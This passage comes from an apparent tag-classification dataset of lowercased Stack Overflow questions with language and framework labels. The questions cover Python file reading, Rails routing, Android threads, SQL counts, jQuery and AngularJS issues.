*nav = window.rootviewcontroller;       //pillo el uilabel y lo seteo     uilabel *label = (uilabel *)[messageview viewwithtag:1];     label.text = message;     cgsize maximumlabelsize = cgsizemake(296 9999);     cgsize sizemsg = [label.text sizewithfont:label.font constrainedtosize:maximumlabelsize linebreakmode:label.linebreakmode];     uiactivityindicatorview *activity = (uiactivityindicatorview *)[messageview viewwithtag:2];     int xlabel = (320 - (sizemsg.width + activity.frame.size.width + 5))/2;      cgrect frameactivity = activity.frame;     activity.frame = cgrectmake(xlabel  13  frameactivity.size.width  frameactivity.size.height);     label.frame = cgrectmake(xlabel + activity.frame.size.width + 5  15  sizemsg.width  sizemsg.height);       [uiview beginanimations:nil context:null];     [uiview setanimationduration:0.3];       nav.view.frame = cgrectmake(framewindow.origin.x  framewindow.origin.y  framewindow.size.width  framewindow.size.height - heightmessage);     messageview.frame = cgrectmake(0  framewindow.size.height - heightmessage  320  heightmessage);      [uiview commitanimations];  } } </code></pre>   and also to put it back to the previous position:      - (void)hidemessageview{   <pre><code>uiwindow *window = [uiapplication sharedapplication].keywindow; uinavigationcontroller *nav = window.rootviewcontroller; cgrect framewindow = window.frame; if([window viewwithtag:3]){//si no hay un messageview no lo meto.     [uiview animatewithduration:0.3                      animations:^{                          nav.view.frame = cgrectmake(framewindow.origin.x  framewindow.origin.y  framewindow.size.width  framewindow.size.height);                          messageview.frame = cgrectmake(0  framewindow.size.height +5   320  0);                      }                      completion:^(bool finished){                          [messageview removefromsuperview];                       }]; } nslog(@ tam window: %@ y nav %@   framewindow  nav.view.frame); } </code></pre>   let me know what do you think.,objective-c
how do you read a textfile into an array python  could anyone tell me how to read a text file to an array in python     the text file looks like the following:   <pre><code>apples 78 pears 45 oranges 99 grapes 44 </code></pre>   the array should be the following:   <pre><code>fruit=[apples 78] [pears 45] [oranges 99] grapes 44] </code></pre>,python
how to pass string in two dimension array using c  i have made one string using strcpy which looks as    <pre><code>char optarg ={ 30   31 } </code></pre>   how to pass the optarg in array so it will  pass as <code>dest[3][3]={ 30   31 }</code>,c
how to define authenticated helper in routes.rb to call or access application controller current_user method  i want to define authenticated root for the application. i am using  <a href= https://github.com/omniauth/omniauth-identity  rel= nofollow noreferrer >omniauth-identity</a> gem for the authentication and define current_user helper in application controller.     <pre><code>def current_user   @current_user ||= user.find_by_id(session[:user_id]) if session[:user_id] end helper_method :current_user  def current_user=(user)  session[:user_id] = user.id end </code></pre>   and in routes.rb i want root based on condition   <pre><code> root to:  map#index   constraints: constraints  root to:  pages#about  </code></pre>   and within constraints.rb module defines matches  method   <pre><code>module constraints  def self.matches (request)    user = current_user(request)    return true if user.present     false  end  def current_user(request)    @current_user ||= user.find_by_id(request.session[:user_id]) if request.session[:user_id]  end end </code></pre>   and it works fine but the problem duplicate method current_user or we need to check session twice.    in routes we need to pass request object and available locally. so how we can call or pass controller current_user method with request object. any suggestion so we can define in one place and access it.    it s something similar to devise gem authenticated and unauthenticated routes helper.,ruby-on-rails
exception in thread  main  java.util.inputmismatchexception   how can i show the output of this program  when i run it  it will throw an <code>inputmismatchexception</code>.    here is the entire code:    <pre><code>import java.util.hashmap; import java.util.scanner;  public class try {      static hashmap&lt; string  string&gt; codemap = new hashmap&lt; string  string&gt;();     static hashmap&lt; string  string&gt; ref = new hashmap&lt; string  string&gt;();      static void initmap() {         codemap.put( a    .- );         codemap.put( b    -... );         codemap.put( c    -.-. );         codemap.put( d    -.. );         codemap.put( e    . );         codemap.put( f    ..-. );         codemap.put( g    --. );         codemap.put( h    .... );         codemap.put( i    .. );         codemap.put( j    .--- );         codemap.put( k    -.- );         codemap.put( l    .-.. );         codemap.put( m    -- );         codemap.put( n    -. );         codemap.put( o    --- );         codemap.put( p    .--. );         codemap.put( q    --.- );         codemap.put( r    .-. );         codemap.put( s    ... );         codemap.put( t    - );         codemap.put( u    ..- );         codemap.put( v    ...- );         codemap.put( w    .-- );         codemap.put( x    -..- );         codemap.put( y    -.-- );         codemap.put( z    --.. );         codemap.put( _    ..-- );         codemap.put( .    ---. );         codemap.put(      .-.- );         codemap.put(      ---- );          ref.put( .-    a );         ref.put( -...    b );         ref.put( -.-.    c );         ref.put( -..    d );         ref.put( .    e );         ref.put( ..-.    f );         ref.put( --.    g );         ref.put( ....    h );         ref.put( ..    i );         ref.put( .---    j );         ref.put( -.-    k );         ref.put( .-..    l );         ref.put( --    m );         ref.put( -.    n );         ref.put( ---    o );         ref.put( .--.    p );         ref.put( --.-    q );         ref.put( .-.    r );         ref.put( ...    s );         ref.put( -    t );         ref.put( ..-    u );         ref.put( ...-    v );         ref.put( .--    w );         ref.put( -..-    x );         ref.put( -.--    y );         ref.put( --..    z );         ref.put( ..--    _ );         ref.put( ---.    . );         ref.put( .-.-      );         ref.put( ----      );     }      public static void main(string[] args) {         {             scanner in = new scanner(system.in);             system.out.println( enter code:  );             initmap();             int n = in.nextint();             for (int i = 1; i &lt;= n; i++) {                 stringbuffer encry =  new stringbuffer(in.next());                 stringbuffer inter = new stringbuffer();                 stringbuffer num = new stringbuffer();                  stringbuffer org = new stringbuffer();                 string tmp =  new string(encry);                 for(int j = 0; j &lt; tmp.length(); j++) {                     inter.append(codemap.get(tmp.substring(j  j+1)));                     num.append(codemap.get(tmp.substring(j  j+1)).length());                        }                 num = num.reverse();                 int index = 0;                 for(int j = 0; j &lt; num.length(); j++) {                     int t1 = integer.valueof(num.substring(j  j+1));                     stringbuffer con = new stringbuffer();                     for(int k = index; k &lt; index+t1;k++) {                         con.append(inter.substring(k  k+1));                     }                     org.append(ref.get(new string(con)));                     index += t1;                 }                 system.out.printf( %d: %s\n  i org);             }         }     } } </code></pre>,java
rails belongs_to on join table triggers validation error  i have two models  image and ardata  that are associated through a join table. the image class <code>has_one :ar_data_image</code> and <code>has_one :ar_data  through: :ar_data_image</code>. the ardata <code>has_many :ar_data_images</code> and <code>has_many :images  through :ar_data_images</code>. when i attempt to create an ardata instance and assign <code>image_ids</code> to create join records i get a validation error that ar data images is invalid. if i set the <code>belongs_to :ar_data</code> in the <code>ardataimage</code> class to <code>optional: true</code> it works. it seems like that is a false validation error though since it should create my new model and the join models.    am i going about this totally incorrectly  i am using rails 5.1.4 and set <code>rails.application.config.active_record.belongs_to_required_by_default = true</code>.,ruby-on-rails
ios sdk 4.3 and camera effects like mirror  blur  thermal... etc   there were many voices about camera effects on ios sdk 4.3 (as you can read <a href= http://www.theiphoneguru.net/2011/01/12/new-iphone-camera-effects-found-in-ios-4-3-files/  rel= nofollow >here</a>)  after the final release i can t find anything about that on <a href= http://developer.apple.com/library/ios/#releasenotes/general/ios43apidiffs/index.html#//apple_ref/doc/uid/tp40010594  rel= nofollow >apple api change log</a>. was it my fault and i made inaccurate research with google and documentation   anyone knows anything more about this subject,ios
how to write code results (that are within a void function) to a text file in c++  i am trying to create a program that loads a  grades.txt  file that contains 20 numbers and calculates the standard deviation and outputs the results both on the screen as well as in a separate text file titled  results.txt     the programs works great and outputs the results i am looking for. the only thing is  i cannot seem to figure out how to take the calculated results (i.e sum  mean  standard deviation) and output it into a text file.     the output text file i have in the code is successfully outputting the  results  message i am sending to it.     i just do not know how to take the results that are within the  void filereadernc(ifstream &amp;file)  function and output in the text file of the  void filewriter(ofstream &amp;file)  function   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;string&gt;  // calling std name space using namespace std;  void fileopenner(ifstream &amp;file); void filereader(ifstream &amp;file); void filecloser(ifstream &amp;file); void filereadernc(ifstream &amp;file); void filecreate(ofstream &amp;file); void filewriter(ofstream &amp;file); void filecloser(ofstream &amp;file);  int main() { // declaration ifstream ecet; ofstream result;  // opening onc again fileopenner(ecet); filereadernc(ecet); filecloser(ecet); filecreate(result); filewriter(result); filecloser(result);  cout &lt;&lt; endl;  return 0; } // the end of the main function  void fileopenner(ifstream &amp;file) { file.open( c:/users/desktop/grades.txt ); // file location on flash drive }  void filereader(ifstream &amp;file) // reading the values from the text file {  int list[20]; for (int i = 0; i &lt; 20; i++)     file &gt;&gt; list[i]; }  void filereadernc(ifstream &amp;file) // file reader { float sum = 0.0  mean = 0.0  standarddeviation = 0.0;  int list[100]; int j = 0; file &gt;&gt; list[j];   while (!file.eof()) {     j++;     file &gt;&gt; list[j]; } cout &lt;&lt;  the input values:  ; // display the values that were in the text file to the user  for (int i = 0; i &lt;= j; i++)     cout &lt;&lt; list[i] &lt;&lt;    ;  for (int i = 0; i &lt;= j; i++) // calculate the sum and mean {     sum += list[i];     mean = sum / 20; } for (int i = 0; i &lt;= j; i++) // after finding the mean  we compute the standard deviation     standarddeviation += pow(list[i] - mean  2);  cout &lt;&lt; endl; cout &lt;&lt;  the sum of all our values =   &lt;&lt; sum; // display the mean of all the values in the text file cout &lt;&lt; endl; cout &lt;&lt;  the mean of all our values =   &lt;&lt; mean; // display the mean of all the values in the text file cout &lt;&lt; endl; cout &lt;&lt;  the standard deviation =   &lt;&lt; sqrt(standarddeviation / 20); // display the standard deviation }  void filecloser(ifstream &amp;file) { file.close(); }  void filecreate(ofstream &amp;file) { file.open( c:/users/desktop/results.txt ); }  void filewriter(ofstream &amp;file) {  file &lt;&lt;  results ;  }  void filecloser(ofstream &amp;file) { file.close(); } </code></pre>,c++
android detecting touch  i have a webview  and a touch listener on the viewcontainer. what i want is  when a touch is detected lights out mode is on  and also if that touch is on a clickable area over webview that click must do his work.    now touchlistener just not working over my webview.    here is my similar question  which is not answered: <a href= https://stackoverflow.com/questions/8433718/view-lights-out-mode >https://stackoverflow.com/questions/8433718/view-lights-out-mode</a>    i will be really appreciate your answer  thanks.,android
sql distinct count of resulting table with no conditionals  i want to count the number of accounts from the resulting table generated from this code. this way  i know how many people liked blue at one time.    <pre><code>select distinct people.fullname  people.favcolor from people where favcolor= blue  </code></pre>   lets say this is a history accounting of what people said their favorite color when they were asked so there may be multiple records of the same full name if asked again at a much later time; hence the distinct.     the code i used may not be reusable in your answer so feel free to use what you think can work. i am sure i found a possible solution to my problem using declare and if statements but i lost that page... so i am left with no solution. however  i think there is a way to do it without using conditionals which is what i am asking and rather have. thanks.    edit: my question is: from the code above  is there a way to count the number of accounts in the resulting table,sql
how to fix this error on opening form1.cs   when i start viewing form1.cs[design] (as shown in pic) i.e form of windows application then i got this error object reference not set to an instance of an object :    <a href= https://i.stack.imgur.com/itl8w.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/itl8w.png  alt= image ></a>,.net
which is best for .net developer umbraco or sitecore  i need to choose a cms for wesbite developing with wcf services   can some one suggest which is best between umbraco and sitecore for easy integration with visual studio  debugging   quick learning  problem solving   forum support  hosting(dedicate server) etc,.net
how to stop thread handler in android   i just begun with a simple thread handler program on android. the code works. the only part is on how to shut down the handler. i am trying in vain to close the handler onpause() but it simply keeps running. any suggestions      here is the code: my main activity thread:   <pre><code>package com.test.prog;  import android.app.activity; import android.os.bundle; import android.os.handler; import android.widget.textview;  public class androidthreadprogv1activity extends activity {      private handler datahandler;      private dataupdater du;     /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);                setcontentview(r.layout.main);          /* initialize handler to allow ui updating in other threads */         datahandler = new handler();          startdataupdater();      }      public void onpause(){         super.onpause();         du.stopconnection();     }      private void startdataupdater(){         system.out.println( in startdataupdater );         du = new dataupdater(datahandler (textview) findviewbyid(r.id.textview1));         du.start();     }  } </code></pre>   dataupdater.java:   <pre><code>package com.test.prog;  import java.io.ioexception; import android.os.handler; import android.os.looper; import android.widget.textview;  /*  * data updater thread.  updates the display with the response.  */ public class dataupdater extends thread{      /*handler for the ui update*/     private handler datarefreshhandler;      /*the ui text displaying the data*/     private textview datalabel;      /*data value*/     private int data = 0;     /*data update rate in ms*/     private static final int dataupdaterate = 2000;      private boolean stoppedflag= false;      public dataupdater(handler handler  textview tv){         this.datarefreshhandler = handler;         this.datalabel = tv;     }       public void stopconnection()     {         if(this.datarefreshhandler != null) {             this.datarefreshhandler.removemessages(data); // remove a delayed message               system.out.println( in stopconnection );              /*            if(!stoppedflag){                 this.datarefreshhandler.getlooper().quit(); // warning                 stoppedflag = true;             }             */         }     }       @override     public void run(){         try {             while(true){                 system.out.println( in run );                 data = data + 1;                         updatedata();                                thread.sleep(dataupdaterate);             }          }          catch (interruptedexception e) {             e.printstacktrace();         }     }            /*      * calls the ui handler and updates the display      */     private void updatedata(){         datarefreshhandler.post(new runnable() {             public void run() {                 if(data==0)                 {                     datalabel.settext( value not known );                 }                 else                 {                     system.out.println( in update );                     datalabel.settext( value= +data);                  }             }         });     } } </code></pre>,android
zooming image when pinched on a non-scrollview entity/sub-entity  i am implementing cropping feature from scratch  which has the following structure   <pre><code>                                baseuiview                                  /    \                                 /      \                                /        \                               /          \               cropuiview edgeuiview     scrollview                                            |                                            |                                            |                                         imageview </code></pre>   i have a couple of cropping handles which can be dragged to enlarge/diminish the cropping window (i.e. change the size of cropuiview and edgeuiview accordingly).     i have kept the cropuiview hidden so that i can provide pinch-zoom feature for the image in the imageview. currently  i am dependent on the scrollview and its delegates to help scroll/zoom the image.    what i need to implement is  when the user pinches on the edgeuiview (the greyed area as shown in the image below)  the image should zoom in/out the way it does when i pinch on the clear area.    i am aware that this kind of functionality may not make sense.    <img src= https://i.stack.imgur.com/xz5pn.png  alt= sample image >,ios
split list of strings at separator and move separator into own entry in list  i m trying to write a process that splits a string into tokens. at the moment it looks like this:   <pre><code>separators = [ (    )    +    -    *    /    = ]  def tokenize(string):     result_list = string.split()     print result_list  print tokenize( ((2 + 3) / (4 * 22)) ) </code></pre>   which outputs this:    <pre><code>[ ((2    +    3)    /    (4    *    22)) ] </code></pre>   which is pretty close  but i need the parentheses split out from the string (i.e.  the output above it should read:   <pre><code>[ (    (    2    +    3    )    /    (    4    *    22    )    ) ] </code></pre>   any thoughts or help  thanks!,python
how do i make it so i don t have to reclick an application for a keydown function to work   something has been really bothering me and its that the fact i have to click out and click back in the application for a key down function to work. is there any way to fix it  code just in case if you need it:   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.threading.tasks; using system.windows.forms;  namespace dog_simulator {  public partial class form1 : form {     public bool keypreview { get; set; }     bool right;     bool left;     bool up;     bool down;     public int left_var = 5;     public int right_var = 5;     public form1()     {         this.keypreview = true;         initializecomponent();         pee.left += 220;        }      private void label1_click(object sender  eventargs e)     {      }      public void button2_click(object sender  eventargs e)     {         panel1.visible = false;     }      public void button1_click(object sender  eventargs e)     {         panel1.visible = false;     }      public void form1_keydown(object sender  keyeventargs e)     {          if (e.keycode == keys.left)         {             left = true;             console.writeline( left has been pressed );         }         if(e.keycode == keys.right)         {              right = true;             console.writeline( right has been pressed );         }         if(e.keycode == keys.up)         {             up = true;             console.writeline( up has been pressed );         }         if(e.keycode == keys.down)         {             down = true;             console.writeline( down has been pressed );         }     }      public void form1_keyup(object sender  keyeventargs e)     {         if (e.keycode == keys.left)         {             left = false;             console.writeline( left has been let go of );         }         if (e.keycode == keys.right)         {             right = false;             console.writeline( right has been let go of );         }         if (e.keycode == keys.up)         {             up = false;             console.writeline( up has been let go of );         }         if (e.keycode == keys.down)         {             down = false;             console.writeline( down has been let go of );         }       }      public void timer1_tick(object sender  eventargs e)     {             if (right == true)             {                 player.left += left_var;              }             if (left == true)             {                 player.left -= left_var;             }             invalidate();             if (up == true)             {                 player.top -= left_var;             }             if (down == true)             {                 player.top += left_var;             }     }          private void dog_click(object sender  eventargs e)         {          }          private void player_click(object sender  eventargs e)         {          }          private void form1_keypress(object sender  keypresseventargs e)         {          }      private void peetime_tick(object sender  eventargs e)     {          if(panel1.visible == false)         {             pee.left -= 5;             if (pee.bounds.intersectswith(pee2.bounds))             {                 pee.left += 220;             }         }       } } } </code></pre>,c#
expected unqualified-id error  <pre><code>//gdatayoutubemediaelements.m - (void)setisprivate:(bool)flag   {     if (flag)          {           gdatayoutubeprivate *private = [gdatayoutubeprivate            implicitvalue];           [self setobject:private forextensionclass:[gdatayoutubeprivate  class]];          }        else          {           [self setobject:nil forextensionclass:[gdatayoutubeprivate class]];         }      } } </code></pre>   in the above code before the private object  i m getting this error:   <blockquote>    expected unqualified-id  </blockquote>,objective-c
jquery 2.2: navbar fixed on scroll not working with vh-unit  i only found this on my topic but it doesn t help me out here: <a href= https://stackoverflow.com/questions/31668922/how-to-implement-scroll-to-fixed-effect/31680063#31680063 >how to implement scroll to fixed effect </a>    i m trying to implement a navbar  which sticks to the top when the user scrolled over the header-section as can be seen here: <a href= https://teamtreehouse.com/community/forum-tip-create-a-sticky-navigation-with-css-and-jquery-2  rel= nofollow noreferrer >https://teamtreehouse.com/community/forum-tip-create-a-sticky-navigation-with-css-and-jquery-2</a>    however  since i m using vh and vw units in this project  i got problems getting the jquery to work. it s working fine  if i use px like   <pre><code>... if ($(this).scrolltop() &gt; 400 ) ... </code></pre>   but with    <pre><code>... if ($(this).scrolltop() &gt; $( #slider_part ).height ... </code></pre>   it s not working.     see my code below. and thanks in advance for your answers!   <pre><code>my html:  &lt;header id= slider_part &gt;   &lt;div&gt;...&lt;/div&gt; &lt;/header&gt; &lt;div id= main-nav  class= navbar &gt;  &lt;nav&gt;...&lt;/nav&gt; &lt;/div&gt;  css:  #slider_part {    height: 85vh;    width: 100%;    overflow:hidden;    position: fixed;    top: 0;    z-index: -100;    }  #main-nav {    position: relative;    background: #db2f27;    -webkit-box-shadow: 0px 2px 3px rgba(0  0  0  0.12);    box-shadow: 0px 2px 3px rgba(0  0  0  0.12);    z-index: 150;    border: none !important;    }  .navbar {   height: 15vh;   width: 100vw;   border-radius: 0 !important;   margin-bottom: 0 !important;   }  .main-nav-scrolled {   width: 100vw;   position: fixed !important;   top: 0;   }  jquery:  var mn = $( .navbar );  $(window).scroll(function(){     if ($(this).scrolltop() &gt; $( #slider_part ).height ) {         mn.addclass( main-nav-scrolled );     }     else {         mn.removeclass( main-nav-scrolled );     } }); </code></pre>,jquery
keep new window settings after using movewindow  after a long time searching and trying i finally succeeded to move all the screens from the second screen to the primary screen.    <pre><code>[dllimport( user32.dll   setlasterror = true)]     internal static extern bool movewindow(intptr hwnd  int x  int y  int nwidth  int nheight  bool brepaint);     [dllimport( user32.dll )]     public static extern bool getwindowrect(intptr hwnd  ref rectangle rectangle);  private void putallwindowsonprimairyscreen(){  int proceswidth  procesheight;      foreach (process p in process.getprocesses())     {        intptr id = p.mainwindowhandle;        rectangle rect = new rectangle();        getwindowrect(id  ref rect);        if (!string.isnullorempty(p.mainwindowtitle))        {           if (rect.height &gt; screen.primaryscreen.bounds.height) procesheight = screen.primaryscreen.bounds.height;           else procesheight = rect.height;           if (rect.width &gt; screen.primaryscreen.bounds.width) proceswidth = screen.primaryscreen.bounds.width;           else proceswidth = rect.width;           system.console.writeline(p.mainmodule.fileversioninfo.productname);           movewindow(id  0  0  proceswidth  procesheight  true);         }     } } </code></pre>   however  the screen  in my case firefox  won t stay at the primairy screen... i can open it once and the second time i try  it restored to the second screen.    how can i make it stay on the primairy screen     thanks in advance!,c#
is there an equivalent of a file s atime for a mysql row   this might seem like a weird comparison at first glance  but anyway: every time you <em>read</em> a file on linux  its <code>atime</code> is updated.    is there an equivalent behaviour in mysql  such as: every time a row is targeted by a select  a <em>last access time</em> is updated     that could prove very useful when storing sessions in the database: you don t want to perform an <code>update</code> after every <code>select</code> just to say  this row is fresh .    any thoughts,mysql
how to update different table with radio button in phpmysql <pre><code>&lt;html&gt;   &lt;head&gt;     &lt;title&gt;test radio button&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;       &lt;form method= post  action=  &gt;       &lt;input type= radio  name= row1 /&gt;row1         &lt;input type= radio  name= row2 /&gt;row2         &lt;input type= radio  name= row3 /&gt;row3         &lt;input type= submit  value= update /&gt;       &lt;/form&gt;       &lt;/body&gt;     &lt;/html&gt; </code></pre>   i have a table called <code>table_test</code>. in this table there is a column named as  <code>row1  row2 and row3</code>.    i want to update value of each column in radio button at a time. i need to update one column when i submit the form.     i have searched so many times google but i can t find the solution. please show me how i can implement this in php.,php
what the products are not added in the product list (supermarket.cpp)  i can only change functions that says need to implement. the products are not being added to the list  why  (also please take a look at the read/display list of product function)  (supermarket.cpp)     the product is another class which has variable such quantiry  price and such. the supermarket system maintains a list of products that an administrator add an product and read products.         at supermarket.cpp   <pre><code>{ add_new_product_in_productlist(p3); //p3 is product type object     list&lt;product&gt; plist=getproduct_list(); //return the prolist from supermarket write_product_in_supermarket_system(plist); read_products_from_supermarket_system(); void supermarket::write_product_in_supermarket_system(list }  list &lt;product&gt; product_list) {      setproduct_list(product_list);      cout &lt;&lt; stproduct count in add_new &lt;&lt;gettotalproductscount()&lt;&lt;endl; }      //read display the product from product list   list&lt;product&gt; supermarket::read_products_from_supermarket_system()   {     list&lt;product&gt; productlist = getproduct_list();     list&lt;product&gt;:: iterator iterator;      for(iterator = productlist.begin();           iterator != productlist.end();++iterator)      {     iterator-&gt;display_product();     cout &lt;&lt; i am here &lt;&lt;endl;      return productlist;   } </code></pre>,c++
dot notation - property / method  sanity check. given this:   <pre><code>@property (readwrite  nonatomic) nsdate *start; </code></pre>   then aren t these 2 lines of code identical     version 1:   <pre><code>self.start.description </code></pre>   version 2:   <pre><code>[self.start description] </code></pre>   i.e. start.description calls the <code>description</code> method on the <code>start</code> object.,objective-c
how can i know a dll is not a debug build  how do i know for sure that my production server uses release build dll s. is there a way to find that info inside dll     <hr>   duplicate of:    <ul> <li> <a href= https://stackoverflow.com/questions/194616/how-to-tell-if-net-app-was-compiled-in-debug-or-release-mode >how to tell if .net app was compiled in debug or release mode </a> </li> <li> <a href= https://stackoverflow.com/questions/290080/how-to-check-if-dll-is-debug-compiled >how to check if dll is debug-compiled</a> </li> </ul>,.net
finding div by class name  i am trying to figure out how to find the id of particular div by class name and i m not sure why my code does not reveal the id of the targeted div in a console (firebug). i would greatly appreciate any help.   <pre><code>html &lt;button id= button &gt;press&lt;/button&gt; &lt;div class= div_1  id= 1 &gt;&lt;/div&gt; &lt;div class= div_2  id= 2a &gt;&lt;/div&gt;  jquery $(document).ready(function() {     $( #button ).click(function() {    var test= $(this).find( .div_2 ).attr( id );     console.log(test) });     }); </code></pre>,jquery
how to select between two beans with the same property set  how do i change which bean my code is looking at in a xml file. they have the same property set and class but different values    <pre><code>&lt;bean id =  test1  class =  common.testbuild &gt;     &lt;property name= testname  value =  x /&gt;     &lt;property name= columnnumbera  value =  x /&gt;     &lt;property name= columnnumberb  value =  x /&gt;     &lt;property name= typea  value =  x /&gt;     &lt;property name= typeb  value =  x /&gt;     &lt;property name= checka  value =  x /&gt;     &lt;property name= checkb  value =  x /&gt;     &lt;property name= responcecolunm  value =  x /&gt;     &lt;property name= responcevalue  value =  x /&gt; &lt;/bean&gt; &lt;bean id =  test2  class =  common.testbuild &gt;     &lt;property name= testname  value =  b /&gt;     &lt;property name= columnnumbera  value =  b /&gt;     &lt;property name= columnnumberb  value =  b /&gt;     &lt;property name= typea  value =  b /&gt;     &lt;property name= typeb  value =  b /&gt;     &lt;property name= checka  value =  b /&gt;     &lt;property name= checkb  value =  b /&gt;     &lt;property name= responcecolunm  value =  b /&gt;     &lt;property name= responcevalue  value =  b /&gt; &lt;/bean&gt; </code></pre>   and i am building a test list string array in the code to do work.   <pre><code>public string[][] gettestlist(int columncount  int testcount) {       string testlist[][] = new string[testcount][9];       for (int i = 0; i &lt; testcount ; i++)     {    // code goes here for getter and setter calls but need to     // figure out how to change beans.         testlist[i][0] = testname;         testlist[i][1] = columnnumbera;         testlist[i][2] = columnnumberb;         testlist[i][3] = typea;         testlist[i][4] = typeb;         testlist[i][5] = checka;         testlist[i][6] = checkb;         testlist[i][5] = responcecolunm;         testlist[i][6] = responcevalue;     }     return testlist; } </code></pre>   i have the getter and setter calls but not sure how to change which bean to look at. each congif file will have a different number of test beans in it.,java
what s the difference between instantiating in the field and instantiating in the constructor   what s the difference between doing this:    <pre><code>public class someclass {     someobject obj = new someobject();     //rest of the code } </code></pre>   and this   <pre><code>public class someclass {     someobject obj;     public someclass(){        obj = new someobject();     }     //rest of the code } </code></pre>,java
mysql replace letters with space  in mysql db i have strings like  pukĺ iè . i would like to replace letter ĺwith space for letter letter š. how can i do that  i  ve already tried with:   <pre><code>update `tablename` set `name` = replace (`name`   ĺ     š ) </code></pre>   unfortunately that only works when there is no space. how can i fix that  thank you,mysql
how do i use the return value from a method in another method different from the calling method   i m kinda new to to java and stumbled on a problem that needs me to do currency conversion declaring different methods for: getting amount  getting conversion rate  doing the actual conversion and printing the outcome of the conversion   <pre><code>import java.util.*;  public class conver {     public static void main(string[] args){        amounttoconvert();        exchangerate();         convert();     }          public static double amounttoconvert() {         scanner input = new scanner(system.in);         system.out.println( enter the amount you wish to convert... );         double amount = input.nextdouble();         return amount;     }      public static double exchangerate(){         scanner input = new scanner(system.in);         system.out.println( enter the currency you wish to convert from...  );         string initialcurrency = input.next();         system.out.println( enter the currency you wish to convert from...  );         string finalcurrency = input.next();         system.out.println( how many   + initialcurrency +   makes one   + finalcurrency +    );         double rate = input.nextdouble();         return rate;     }       public static double convert(){         int x = amount*rate;         return x;     }      public void printresult(){         system.out.println(x);     } } </code></pre>,java
populating two different tableviews of two different viewcontroller classes with two different sqlite files data   i am working on an app having tabbarcontroller plus navigation controller.tabbar controller has two tabbar items.each tab bar item has a tableview associated with it.i want to populate the two different tableviews with two different sqlite files data.how can i do so .is there any example related to it..    thanks!,iphone
devise - prevent email update attribute <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4190578/rails-devise-preventing-a-user-from-changing-their-email-address >rails  devise - preventing a user from changing their email address</a>    </blockquote>     how do i go about preventing the user from updating their email field   i have a pretty generic devise setup.  i was thinking maybe i could do a general validation check on update in the model.  but perhaps there is a better way to do this.   <pre><code>  validate :prevent_email_change  :on =&gt; :update </code></pre>,ruby-on-rails
how to make a c++ function that can process variable arguments and variable types   i give the following example to illustrate my question:   <pre><code>  class a     {       public:          void process(int a  int b  int c)          {              std::cout&lt;&lt;  int a &lt;&lt;a&lt;&lt;std::endl;              std::cout&lt;&lt;  int b &lt;&lt;b&lt;&lt;std::endl;              std::cout&lt;&lt;  int c &lt;&lt;c&lt;&lt;std::endl;          }      };     class b     {       public:          void process(double a)          {              std::cout&lt;&lt;  double a &lt;&lt;a&lt;&lt;std::endl;           }      };  struct abc  {       float def;     };  class c     {       public:          void process(abc a)          {              std::cout&lt;&lt;  float def in abc &lt;&lt;a.def&lt;&lt;std::endl;           }      }; </code></pre>   as you can see from the above examples  <code>class a  class b and class c</code> share the same function <code>process</code>  which is used to print the all the arguments within the function. however  not only the number of the arguments may vary but also the type of the arguments. the arguments may be a primary c++ type  and it can be also a complex class defined by the user. in this case  how can i make a general function <code>process</code> that can be called by <code>class a  class b and class c</code>.,c++
.net desktop app installation  i am creating a  c# .net 4.0 desktop application for a client.  when i sent him the .msi files it requires administration privileges when trying to install.  i realize the reason why is because i am installing the application into the  program files  directory.    is there a way to install an application into an area on the users machine that doesn t require them to install as administrator     i m using .net 4.0,.net
i need to select all rows in mysql that contains more than three slashes in the uri  i need to select all rows in my mysql column that contains more than three slashes in the uri,mysql
system.out.println( number1 +  score  + (number1 + number2) + number1 ) result explanation (string vs. numeric addition operator) <pre><code>public class test {     public static void main(string[] args) {         int number1 = 4;         int number2 = 5;         system.out.println( number1 +  score:  + (number1 + number2) + number1 );     } } </code></pre>   the output of the above is:   <pre><code>4score: 94 </code></pre>   why is this  if there is no  score  in there  i understand the result from it  but this i don t know why. number1 and score: outputs individually first  so then why is it effecting the result to be 94,java
angularjs object #<resource> has no method  push   can someone help me unravel this mystery.    my first $resource return a list. then  i loop through the list and call another $resource for each object in the collection. this code was working using $http  but i was told i should be using the $resource for restful and there u go  i am stuck.    i am getting error : angularjs object # has no method  push     my restful service returns a json object:    in my service/factory :   <pre><code>services.factory( xxxxfactory   function ($resource) {     return $resource( /xxxx-webapp-1.0-snapshot/restful/services/xxxoption/actions/listall/invoke   {}  {         query: { method:  get   isarray: true }          create: { method:  post  }     }) }); </code></pre>   in my controller :   <pre><code>app.controller( xxxxlistctrl   [ $scope    xxxxsfactory    xxxxxfactory    $location         function ($scope  xxxxsfactory  xxxxxfactory  $location) {      xxxxsfactory.query(function(data) {         // success handler           var resulttype = data.resulttype;           var objects = data.result.value;           $scope.rowlist= [];           console.log(objects);            alert( list  =  + resulttype);            if(resulttype ==  list ){                 angular.foreach(objects  function (item) {                  alert( item href =  + item.href);                  var innerxxxxresource = $resource(item.href  {}  { query: { method:  get   isarray: true}});                      innerxxxxresource .query(function(rowdata) {                      $scope.rowlist.push(rowdata);                        }  function(error) { });                 });           }          }  function(error) {             // error handler         });      }]); </code></pre>   html:   <pre><code>&lt;tbody&gt;     &lt;tr ng-repeat= row in rowlist &gt;         &lt;td width= 70% &gt;{{row.members.xxxdescription.value}}&lt;/td&gt;         &lt;td align = center  width= 30% &gt;{{row.members.price.value}}&lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt; </code></pre>,angularjs
